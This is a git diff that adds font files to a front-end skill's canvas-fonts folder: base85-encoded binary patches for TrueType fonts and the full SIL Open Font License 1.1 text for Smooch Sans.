zaiVvqi);XE78*5G_b<WX-goubDe4X5S0felQ#Q7W_URzXiowTl9~@#Edg1OMk4HqU zj%cQ~Z!B)wUcR>L)YH1~#OK*2)MHqKBJ3AeC`!hk<8yq5GPh52Xhb`$Ki<xwR9&Wi zKdmy+KB4+bQ#(<dXy2{62mSHvU5QRIP%Kg!13%3``~--_2ucSkxhQvBKD9+TsbIs> zol`4tPQejbTBezOh<+}9WC4S}cRA&#sHu7iD*y+S?M_+4JjYPvuA?fg{V&_M4V`>S z<w^WH<<z0_%g;UcGJPJ$bg}BIm@Udff-<@s<!Vs~njno3zF}l(+mhjQhvAxuQ&G?G z)bdA7eWiQSp`L!YZa)G~%K5Xu9i+TK(F@1sc^EysQI|AY375Q;MSB~qgh|mlv9#XG zsfJo<MgNK8(TuU30X)*k5J_)7^`Mr?^D&%$fa;3pj$QwV%+hk@2>on62;qaV*n42a zFNBlr9%;1FiWCs-JGIeDR4-Z&@zYK@zBsk=R%v{YsF0xa0gLUBaP<x0=Gw;Z_S%u& zpd)@K$JC_)Q!oa_c|AVvi!;@EG0rN00!$l`B4XFfIko<T==k%3UXfdk{fk_~0D~io z=QZrPd<UdQH|Y}M05~KL(Y{dOPBS~H1|QEgBRg7b5rygF&J+WIQpUZ+9d}sc?)BJ! z>t5=PTODyUWlCRVrF5T9tMwJrmG853BCgZNW0jx%o7UHtVgr?*#o`8iBF@s4@1=@9 HQ0M;vf5V{( literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/SmoochSans-OFL.txt b/skills/frontend-dev/canvas-fonts/SmoochSans-OFL.txt new file mode 100644 index 0000000..4c2f033 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/SmoochSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Tektur-Medium.ttf b/skills/frontend-dev/canvas-fonts/Tektur-Medium.ttf new file mode 100644 index 0000000000000000000000000000000000000000..34fc797195169923bad8e76181d60ae02019fef0 GIT binary patch literal 76248 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 